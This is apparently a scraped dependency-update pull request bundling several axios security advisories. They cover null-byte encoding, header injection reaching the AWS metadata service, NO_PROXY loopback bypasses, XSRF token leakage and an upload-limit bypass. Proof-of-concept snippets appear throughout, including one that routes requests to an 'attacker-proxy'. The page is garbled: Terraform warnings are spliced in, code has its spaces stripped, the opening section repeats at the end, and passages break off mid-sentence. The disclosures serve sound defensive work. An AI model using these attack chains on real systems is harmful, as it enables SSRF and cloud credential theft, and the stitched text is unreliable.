**Score: 3.7 (Low)**
Vector: `CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:L/A:N`
| Metric | Value | Justification |
|---|---|---|
| Attack Vector | Network | Attacker controls input parameters remotely |
| Attack Complexity | High | Standard axios request flow (`buildURL`) uses its own `encode` function which does NOT have this bug. Only triggered via direct `AxiosURLSearchParams.toString()` without an encoder, or via custom `paramsSerializer` delegation |
| Privileges Required | None | No authentication needed |
| User Interaction | None | No user interaction required |
| Scope | Unchanged | Impact limited to HTTP request URL |
| Confidentiality | None | No confidentiality impact |
| Integrity | Low | Null byte in URL can cause truncation in C-based backends, but requires a vulnerable downstream parser |
| Availability | None | No availability impact |
##### Vulnerable Code
**File:** `lib/helpers/AxiosURLSearchParams.js`, lines 13-26
```javascript
function encode(str) {
const charMap = {
'!': '%21', // literal → encoded (SAFE direction)
"'": '%27', // literal → encoded (SAFE direction)
'(': '%28', // literal → encoded (SAFE direction)
')': '%29', // literal → encoded (SAFE direction)
'~': '%7E', // literal → encoded (SAFE direction)
'%20': '+', // standard transformation (SAFE)
'%00': '\x00', // LINE 21: encoded → raw null byte (UNSAFE direction!)
};
return encodeURIComponent(str).replace(/[!'()~]|%20|%00/g, function replacer(match) {
return charMap[match];
});
}
Why the Standard Flow Is NOT Affected
// buildURL.js:36 — uses its OWN encode function (lines 14-20), not AxiosURLSearchParams'sconst_encode=(options&&options.encode)||encode;// buildURL's encode// buildURL.js:53 — passes buildURL's encode to AxiosURLSearchParamsnewAxiosURLSearchParams(params,_options).toString(_encode);// external encoder used// AxiosURLSearchParams.js:48 — when encoder is provided, internal encode is NOT usedconst_encode=encoder ? function(value){returnencoder.call(this,value,encode);} : encode;// ^^^^^^// internal encode passed as 2nd arg but only used if// the external encoder explicitly delegates to it
Proof of Concept
importAxiosURLSearchParamsfrom'./lib/helpers/AxiosURLSearchParams.js';importbuildURLfrom'./lib/helpers/buildURL.js';// Test 1: Direct AxiosURLSearchParams (VULNERABLE path)constparams=newAxiosURLSearchParams({file: 'test\x00.txt'});constresult=params.toString();// NO encoder → uses internal encode with charMapconsole.log('Direct toString():',JSON.stringify(result));// Output: "file=test\u0000.txt" (contains raw null byte)console.log('Hex:',Buffer.from(result).toString('hex'));// Output: 66696c653d74657374002e747874 (00 = null byte)// Test 2: Via buildURL (NOT vulnerable — standard axios flow)consturl=buildURL('http://example.com/api',{file: 'test\x00.txt'});console.log('Via buildURL:',url);// Output: http://example.com/api?file=test%00.txt (%00 preserved safely)
Verified PoC Output
Direct toString(): "file=test\u0000.txt"
Contains raw null byte: true
Hex: 66696c653d74657374002e747874
Via buildURL: http://example.com/api?file=test%00.txt
Contains raw null byte: false
Contains safe %00: true
Impact Analysis
Primary impact is limited because the standard axios request flow is not affect
The root module does not declare a variable named "aws_profile" but a value
was found in file "terraform.tfvars". To use this value, add a "variable"
block to the configuration.
Using a variables file to set an undeclared variable is deprecated and will
become an error in a future release. If you wish to provide certain "global"
settings to all configurations in your organization, use TF_VAR_...
environment variables to set these instead.
Note: You didn't specify an "-out" parameter to save this plan, so Terraform
can't guarantee that exactly these actions will be performed if
"terraform apply" is subsequently run.
renovateBot
changed the title
Update dependency axios to v0.31.0 [SECURITY]
Update dependency axios to v0.31.1 [SECURITY]
May 8, 2026
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Add this suggestion to a batch that can be applied as a single commit.This suggestion is invalid because no changes were made to the code.Suggestions cannot be applied while the pull request is closed.Suggestions cannot be applied while viewing a subset of changes.Only one suggestion per line can be applied in a batch.Add this suggestion to a batch that can be applied as a single commit.Applying suggestions on deleted lines is not supported.You must change the existing code in this line in order to create a valid suggestion.Outdated suggestions cannot be applied.This suggestion has been applied or marked resolved.Suggestions cannot be applied from pending reviews.Suggestions cannot be applied on multi-line comments.Suggestions cannot be applied while the pull request is queued to merge.Suggestion cannot be applied right now. Please check back later.
This PR contains the following updates:
0.30.3→0.31.1Axios has Unrestricted Cloud Metadata Exfiltration via Header Injection Chain
CVE-2026-40175 / GHSA-fvcv-3m26-pcqx
More information
Details
Vulnerability Disclosure: Unrestricted Cloud Metadata Exfiltration via Header Injection Chain
Summary
The Axios library is vulnerable to a specific "Gadget" attack chain that allows Prototype Pollution in any third-party dependency to be escalated into Remote Code Execution (RCE) or Full Cloud Compromise (via AWS IMDSv2 bypass).
While Axios patches exist for preventing check pollution, the library remains vulnerable to being used as a gadget when pollution occurs elsewhere. This is due to a lack of HTTP Header Sanitization (CWE-113) combined with default SSRF capabilities.
Severity: Critical (CVSS 9.9)
Affected Versions: All versions (v0.x - v1.x)
Vulnerable Component:
lib/adapters/http.js(Header Processing)Usage of "Helper" Vulnerabilities
This vulnerability is unique because it requires Zero Direct User Input.
If an attacker can pollute
Object.prototypevia any other library in the stack (e.g.,qs,minimist,ini,body-parser), Axios will automatically pick up the polluted properties during its config merge.Because Axios does not sanitise these merged header values for CRLF (
\r\n) characters, the polluted property becomes a Request Smuggling payload.Proof of Concept
1. The Setup (Simulated Pollution)
Imagine a scenario where a known vulnerability exists in a query parser. The attacker sends a payload that sets:
2. The Gadget Trigger (Safe Code)
The application makes a completely safe, hardcoded request:
3. The Execution
Axios merges the prototype property
x-amz-targetinto the request headers. It then writes the header value directly to the socket without validation.Resulting HTTP traffic:
4. The Impact (IMDSv2 Bypass)
The "Smuggled" second request is a valid
PUTrequest to the AWS Metadata Service. It includes the requiredX-aws-ec2-metadata-token-ttl-secondsheader (which a normal SSRF cannot send).The Metadata Service returns a session token, allowing the attacker to steal IAM credentials and compromise the cloud account.
Impact Analysis
Cookie,Authorization) to pivot into internal administrative panels.Hostheaders to poison shared caches.Recommended Fix
Validate all header values in
lib/adapters/http.jsandxhr.jsbefore passing them to the underlying request function.Patch Suggestion:
References
This report was generated as part of a security audit of the Axios library.
Severity
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:NReferences
This data is provided by the GitHub Advisory Database (CC-BY 4.0).
Axios has a NO_PROXY Hostname Normalization Bypass that Leads to SSRF
CVE-2025-62718 / GHSA-3p68-rc4w-qgx5
More information
Details
Axios does not correctly handle hostname normalization when checking
NO_PROXYrules.Requests to loopback addresses like
localhost.(with a trailing dot) or[::1](IPv6 literal) skipNO_PROXYmatching and go through the configured proxy.This goes against what developers expect and lets attackers force requests through a proxy, even if
NO_PROXYis set up to protect loopback or internal services.According to RFC 1034 §3.1 and RFC 3986 §3.2.2, a hostname can have a trailing dot to show it is a fully qualified domain name (FQDN). At the DNS level,
localhost.is the same aslocalhost.However, Axios does a literal string comparison instead of normalizing hostnames before checking
NO_PROXY. This causes requests likehttp://localhost.:8080/andhttp://[::1]:8080/to be incorrectly proxied.This issue leads to the possibility of proxy bypass and SSRF vulnerabilities allowing attackers to reach sensitive loopback or internal services despite the configured protections.
PoC
Expected: Requests bypass the proxy (direct to loopback).
Actual: Proxy logs requests for
localhost.and[::1].Impact
Applications that rely on
NO_PROXY=localhost,127.0.0.1,::1for protecting loopback/internal access are vulnerable.Attackers controlling request URLs can:
Affected Versions
NO_PROXYevaluation.Remediation
Axios should normalize hostnames before evaluating
NO_PROXY, including:Severity
CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:L/VI:L/VA:N/SC:L/SI:L/SA:NReferences
This data is provided by the GitHub Advisory Database (CC-BY 4.0).
Axios: XSRF Token Cross-Origin Leakage via Prototype Pollution Gadget in
withXSRFTokenBoolean CoercionCVE-2026-42042 / GHSA-xx6v-rp6x-q39c
More information
Details
Vulnerability Disclosure: XSRF Token Cross-Origin Leakage via Prototype Pollution Gadget in
withXSRFTokenBoolean CoercionSummary
The Axios library's XSRF token protection logic uses JavaScript truthy/falsy semantics instead of strict boolean comparison for the
withXSRFTokenconfig property. When this property is set to any truthy non-boolean value (via prototype pollution or misconfiguration), the same-origin check (isURLSameOrigin) is short-circuited, causing XSRF tokens to be sent to all request targets including cross-origin servers controlled by an attacker.Severity: Medium (CVSS 5.4)
Affected Versions: All versions since
withXSRFTokenwas introducedVulnerable Component:
lib/helpers/resolveConfig.js:59Environment: Browser-only (XSRF logic only runs when
hasStandardBrowserEnvis true)CWE
CVSS 3.1
Score: 5.4 (Medium)
Vector:
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:NUsage of "Helper" Vulnerabilities
This vulnerability requires Zero Direct User Input when triggered via prototype pollution.
If an attacker can pollute
Object.prototype.withXSRFTokenwith any truthy value (e.g.,1,"true",{}), Axios will automatically inherit this value during config merge. The truthy value short-circuits the same-origin check, causing the XSRF cookie value to be sent as a request header to every destination.Vulnerable Code
File:
lib/helpers/resolveConfig.js, lines 57-66Designed behavior:
true→ always send token (explicit cross-origin opt-in)false→ never send tokenundefined→ send only for same-origin requestsActual behavior for non-boolean truthy values (
1,"false",{},[]):Proof of Concept
Verified PoC Output
Impact Analysis
Object.prototype.withXSRFToken = 1affects every axios request in the applicationwithXSRFToken: "false"(string) instead offalse(boolean) triggers the same issue without PPLimitations:
hasStandardBrowserEnv)Recommended Fix
Use strict boolean comparison:
Resources
Timeline
Severity
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:NReferences
This data is provided by the GitHub Advisory Database (CC-BY 4.0).
Axios: Incomplete Fix for CVE-2025-62718 — NO_PROXY Protection Bypassed via RFC 1122 Loopback Subnet (127.0.0.0/8) in Axios 1.15.0
CVE-2026-42043 / GHSA-pmwg-cvhr-8vh7
More information
Details
1. Executive Summary
This report documents an incomplete security patch for the previously disclosed vulnerability GHSA-3p68-rc4w-qgx5 (CVE-2025-62718), which affects the
NO_PROXYhostname resolution logic in the Axios HTTP library.Background — The Original Vulnerability
The original vulnerability (GHSA-3p68-rc4w-qgx5) disclosed that Axios did not normalize hostnames before comparing them against
NO_PROXYrules. Specifically, a request tohttp://localhost./(with a trailing dot) orhttp://[::1]/(with IPv6 bracket notation) would bypass NO_PROXY matching entirely and be forwarded to the configured HTTP proxy — even whenNO_PROXY=localhost,127.0.0.1,::1was explicitly set by the developer to protect loopback services.The Axios maintainers addressed this in version 1.15.0 by introducing a
normalizeNoProxyHost()function inlib/helpers/shouldBypassProxy.js, which strips trailing dots from hostnames and removes brackets from IPv6 literals before performing the NO_PROXY comparison.The Incomplete Patch — This Finding
While the patch correctly addresses the specific cases reported (trailing dot normalization and IPv6 bracket removal), the fix is architecturally incomplete.
The patch introduced a hardcoded set of recognized loopback addresses:
However, RFC 1122 §3.2.1.3 explicitly defines the entire 127.0.0.0/8 subnet as the IPv4 loopback address block not just the single address
127.0.0.1. On all major operating systems (Linux, macOS, Windows with WSL), any IP address in the range127.0.0.2through127.255.255.254is a valid, functional loopback address that routes to the local machine.As a result, an attacker who can influence the target URL of an Axios request can substitute 127.0.0.1 with any other address in the
127.0.0.0/8range (e.g.,127.0.0.2,127.0.0.100,127.1.2.3) to completely bypass theNO_PROXYprotection even in the fully patched Axios 1.15.0 release.Verification
This bypass has been independently verified on:
The Proof-of-Concept demonstrates that while
localhost,localhost., and[::1]are correctly blocked by the patched version, requests to127.0.0.2,127.0.0.100, and127.1.2.3are transparently forwarded to the attacker-controlled proxy server, confirming that the patch does not cover the full RFC-defined loopback address space.2. Deep-Dive: Technical Root Cause Analysis
2.1 Vulnerable File & Location
2.2 How Axios Routes HTTP Requests The Call Chain
When Axios dispatches any HTTP request,
lib/adapters/http.jscallssetProxy(), which invokesshouldBypassProxy()to decide whether to honour a configured proxy:shouldBypassProxy()is the single gatekeeper for NO_PROXY enforcement. A bypass here means all proxy protection fails silently.2.3 The Original Vulnerability (GHSA-3p68-rc4w-qgx5)
Before Axios 1.15.0, hostnames were compared against
NO_PROXYusing a raw literal string match with no normalization:Both
localhost.(FQDN trailing dot, RFC 1034 §3.1) and[::1](bracketed IPv6 literal, RFC 3986 §3.2.2) are canonical representations of loopback addresses, but Axios treated them as unknown hosts.2.4 What the Patch Fixed (Axios 1.15.0)
The patch introduced three changes inside
lib/helpers/shouldBypassProxy.js:Fix A
normalizeNoProxyHost()(Lines 47–57)Strips alternate representations before comparison:
Fix B Cross-Loopback Equivalence (Lines 1–3 & 108)
Allows
127.0.0.1andlocalhostto match each other interchangeably:Fix C Normalization Applied on Both Sides (Lines 81 & 90)
2.5 The Incomplete Patch Exact Root Cause
The fundamental flaw resides in Line 1:
*RFC 1122 §3.2.1.3 is unambiguous:
This means all addresses from
127.0.0.1through127.255.255.254are valid loopback addresses on any RFC-compliant operating system. On Linux, the entire/8block is routed to thelointerface by default. The patch recognises only127.0.0.1, leaving16,777,213valid loopback addresses unprotected.2.6 Step-by-Step Bypass Execution Trace
Environment:
Annotated execution of shouldBypassProxy("http://127.0.0.2:9191/internal-api"):
2.7 Why the Patch Design Is Flawed
The patch addresses the symptom (two specific alternate representations) rather than the root cause (an incomplete definition of what constitutes a loopback address).
Real-world services that commonly bind to non-standard loopback addresses include:
3. Comprehensive Attack Vector & Proof of Concept
3.1 Reproduction Steps
Step 1 — Create a fresh project directory
Step 2 — Initialize the project with the patched Axios version
Create
package.json:Install dependencies:
Verify the installed version:
Step 3 — Create the PoC file (
poc.js)Step 4 — Execute the PoC
3.2 Observed Output
The following output was captured during testing on Kali Linux with Axios 1.15.0:
3.3 Analysis of Results
The output conclusively demonstrates the following:
Patched cases behave correctly: Requests to
localhost,localhost.(trailing dot), and[::1](bracketed IPv6) all result in a direct connection, confirming that the existing patch in Axios 1.15.0 correctly handles the cases reported in GHSA-3p68-rc4w-qgx5.Bypass cases confirm the incomplete patch: Requests to
127.0.0.2,127.0.0.100, and127.1.2.3all of which are valid loopback addresses within the127.0.0.0/8subnet as defined byRFC 1122 §3.2.1.3are transparently forwarded to the attacker-controlled proxy server. The proxy receives the full request including the HTTP method, target URL, andHostheader, demonstrating that any response from an internal service bound to these addresses would be fully intercepted.This confirms that the
NO_PROXYprotection configured by the developer (localhost,127.0.0.1,::1) fails silently for the entire127.0.0.0/8address range beyond127.0.0.1, providing a reproducible and reliable bypass of the security control introduced by the patch.4. Impact Assessment
This vulnerability is a security control bypass specifically an incomplete patch that allows an attacker to circumvent the
NO_PROXYprotection mechanism in Axios by using any loopback addresses within the127.0.0.0/8subnet other than127.0.0.1. The result is that traffic intended to remain private and direct is silently intercepted by a configured proxy server.4.1 Who Is Impacted?
Primary Target — Node.js Backend Applications
Any Node.js application that meets all three of the following conditions is vulnerable:
Affected Deployment Environments
Scale of Exposure
Axios is one of the most widely used HTTP client libraries in the JavaScript ecosystem, with over 500 million weekly downloads on npm. Any application in the above categories using Axios 1.15.0 is affected, regardless of whether the developer is aware of the underlying proxy routing logic.
4.3 Impact Details
Impact 1 Silent Interception of Internal Service Traffic
When an application makes a request to an internal loopback service using a non-standard loopback address (e.g.,
http://127.0.0.2/admin), Axios silently routes the request through the configured proxy instead of connecting directly.The developer receives no error or warning. From the application's perspective, the request succeeds normally.
Impact 2 — SSRF Mitigation Bypass
Many applications implement SSRF protections by configuring
NO_PROXYto prevent requests to loopback addresses from being forwarded externally. This bypass defeats that protection entirely for any loopback address beyond127.0.0.1.An attacker who can influence the target URL of an Axios request through user-supplied input, redirect chains, or other SSRF vectors can exploit this gap to reach internal services that the developer explicitly intended to protect.
Impact 3 — Cloud Metadata Service Exposure
In cloud environments (AWS, GCP, Azure), SSRF vulnerabilities are particularly severe because they can be used to access the instance metadata service and retrieve IAM credentials, enabling full cloud account compromise.
While the AWS IMDSv2 service is reachable at
169.254.169.254(not a loopback address), many cloud deployments run internal metadata proxies, credential servers, or service discovery endpoints bound to non-standard loopback addresses within the127.0.0.0/8range. An attacker reaching any of these services through the bypass could:Impact 4 — Confidential Data Exfiltration
Any internal service binding to a
127.x.x.xaddress other than127.0.0.1is fully exposed. This includes:Impact 5 — No Indication of Compromise
A particularly dangerous characteristic of this vulnerability is that it is completely silent neither the application nor the developer receives any indication that requests are being routed incorrectly. There are no error messages, no exceptions thrown, and no changes in application behaviour. The proxy interception is entirely transparent from the application's perspective, making detection extremely difficult without active network monitoring.
4.4 Comparison with Original Vulnerability
The severity of this finding is equivalent to the original vulnerability because the attack conditions, exploitation technique, and resulting impact are identical. The only difference is the specific input used to trigger the bypass, which the existing patch completely fails to address.
5. Technical Remediation & Proposed Fix
5.1 Vulnerable Code Block
The vulnerability resides in
lib/helpers/shouldBypassProxy.jsat lines 1–3. The following is the exact code extracted from Axios 1.15.0:This hardcoded
Setis subsequently used at line 108 during the final NO_PROXY match evaluation:Why this is dangerous: The
Setperforms a strict membership check. Any IPv4 loopback address outside the three hardcoded entries returnsfalse, causingshouldBypassProxy()to returnfalseand silently route the request through the configured proxy.5.2 Proposed Patched Code
Replace lines 1–3 in
lib/helpers/shouldBypassProxy.jswith the following RFC-compliant implementation:5.3 Diff View — Before vs After
All other code in
shouldBypassProxy.jsremains unchanged. No other files require modification.5.4 Why This Fix Must Be Applied
Reason 1 — RFC 1122 Compliance
The current implementation violates RFC 1122 §3.2.1.3, which defines the entire
127.0.0.0/8block as the IPv4 loopback address range not just the single address127.0.0.1. The proposed fix aligns Axios with the standard, ensuring that all valid loopback addresses are recognised and handled consistently.Reason 2 — The Existing Patch Has Already Failed Once
The patch for GHSA-3p68-rc4w-qgx5 was released with the explicit intent of securing NO_PROXY hostname matching for loopback addresses. Within the same release (1.15.0), the protection can be bypassed by substituting
127.0.0.1with any other address in the127.0.0.0/8range. Leaving this gap unaddressed means that the patch creates a false sense of security developers believe their loopback traffic is protected when it is not.Reason 3 — Real Operating System Behaviour
On Linux the dominant platform for Node.js server deployments the kernel routes the entire
127.0.0.0/8subnet to the loopback interfaceloby default. This means any address in that range functions identically to127.0.0.1at the networking level.Axios's current implementation does not reflect this operating system behaviour, resulting in an inconsistency between what the OS considers loopback and what Axios treats as loopback.
Reason 4 — The Proposed Fix Has Zero Performance Impact
The existing solution uses a
Set.has()lookup an O(1) operation. The proposed fix replaces this with:'localhost','::1') — O(1)split('.')and array validation — O(1) with a fixed-length array of 4 elementsThe computational cost is equivalent or lower than the current approach, and the fix introduces no new external dependencies.
Reason 5 — The Fix Is Minimal and Surgical
The proposed change modifies only 3 lines of a single file. It does not alter:
parseNoProxyEntry()functionnormalizeNoProxyHost()functionshouldBypassProxy()main function logicThis minimises regression risk and makes the fix straightforward to review, test, and backport to older supported branches.
Reason 6 — Resilient to Alternative IP Encodings
Because Axios normalises the request URL using Node's native
new URL()parser before passing it toshouldBypassProxy(), alternative IP encodings (such as octal0177.0.0.1, hex0x7f.0.0.1, or integer2130706433) are already resolved into their standard IPv4 dotted-decimal format. This means the proposed.split('.')validation logic is completely robust and cannot be bypassed using URL-encoded IP obfuscation techniques.5.5 Additional Recommendation — IPv6 Loopback Range
While the primary bypass demonstrated in this report targets the IPv4
127.0.0.0/8range, the Axios team should also consider validating the full IPv6 loopback representation. The current implementation recognises only::1. A more complete check would also handle the full-form notation:Normalising these representations before comparison would make the NO_PROXY implementation comprehensively RFC-compliant across both IPv4 and IPv6 address families.
Severity
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:NReferences
This data is provided by the GitHub Advisory Database (CC-BY 4.0).
Axios' HTTP adapter-streamed uploads bypass maxBodyLength when maxRedirects: 0
CVE-2026-42034 / GHSA-5c9x-8gcm-mpgx
More information
Details
Summary
For stream request bodies, maxBodyLength is bypassed when maxRedirects is set to 0 (native http/https transport path). Oversized streamed uploads are sent fully even when the caller sets strict body limits.
Details
Relevant flow in lib/adapters/http.js:
This creates a path-specific bypass for streamed uploads.
PoC
Environment:
Steps:
Observed:
Control checks:
Impact
Type: DoS / uncontrolled upstream upload / resource exhaustion.
Impacted: Node.js services using streamed request bodies with maxBodyLength expecting hard enforcement, especially when following Axios guidance to use maxRedirects: 0 for streams.
Severity
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:LReferences
This data is provided by the GitHub Advisory Database (CC-BY 4.0).
Axios: no_proxy bypass via IP alias allows SSRF
CVE-2026-42038 / GHSA-m7pr-hjqh-92cm
More information
Details
The fix for no_proxy hostname normalization bypass (#10661) is incomplete.When no_proxy=localhost is set, requests to 127.0.0.1 and [::1] still route through the proxy instead of bypassing it.
The shouldBypassProxy() function does pure string matching — it does not
resolve IP aliases or loopback equivalents. As a result:
POC :
process.env.no_proxy = 'localhost';
process.env.http_proxy = 'http://attacker-proxy:8888';
Why the Standard Flow Is NOT Affected
Proof of Concept
Verified PoC Output
Impact Analysis
Primary impact is limited because the standard axios request flow is not affect